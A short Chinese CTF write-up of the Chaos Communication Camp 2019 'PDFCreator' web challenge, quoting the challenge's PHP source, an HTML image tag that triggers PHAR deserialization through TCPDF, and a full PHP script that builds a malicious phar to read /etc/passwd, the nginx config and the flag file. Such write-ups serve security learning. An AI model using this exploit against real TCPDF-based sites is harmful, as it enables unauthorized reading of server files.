CTF Web安全

[Chaos Communication Camp 2019]PDFCreator

Posted on 2020-05-04,2 min read

首先就github上源码。
在index.php末尾部分中看到如下代码

else if (isset($_POST["pdfcontent"]))
{
	$creator = new \PDFStuff\PDFCreator();
	$creator->createPdf($_POST["pdfcontent"]);
}

这边调用了PDFStuff命名空间下的PDFCreator函数
把pdfcontent给带入函数
看下这个函数。位于creator.php中
是调用了TCPDF这个库

function __destruct()
   {
      if (file_exists($this->tmpfile))
	  {
		$info = pathinfo($this->tmpfile);
		if ($info['extension'] == "pdf")
		{
			unlink($this->tmpfile);
		}
		else
		{
			echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
		}
	  }
   }

并且在最后。存在一个file_get_contents。任意文件读取。
https://www.chainnews.com/articles/455445932350.htm
TCPDF库存在一个PHAR反序列化漏洞
具体没说咋利用。。貌似就是在可控的地方。调用phar协议
看了一手WP利用。

 <h1>Converted by CoolPDF</h1><h3>We hope you enjoyed our service!</h3>
	 <img src="phar://./upload/d7f4be9d064bac5fd42207b3d7efe102_10.jpg" width="10" height="10">

在src这个地方可以用phar伪协议触发反序列化
接下来就写exp

<?php
namespace PDFStuff{
        class PDFCreator{
                public $tmpfile='/etc/passwd';
        }
}
namespace {
$a=new \PDFStuff\PDFCreator();
@unlink("phar.phar");
$phar=new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}

之前扫目录得到flag.php
读/var/www/html/flag.php无果
读/etc/nginx/nginx.conf得到web目录/var/www/site
读/var/www/site/flag.php。得到Flag

下一篇: CTFSHOW 36D Web→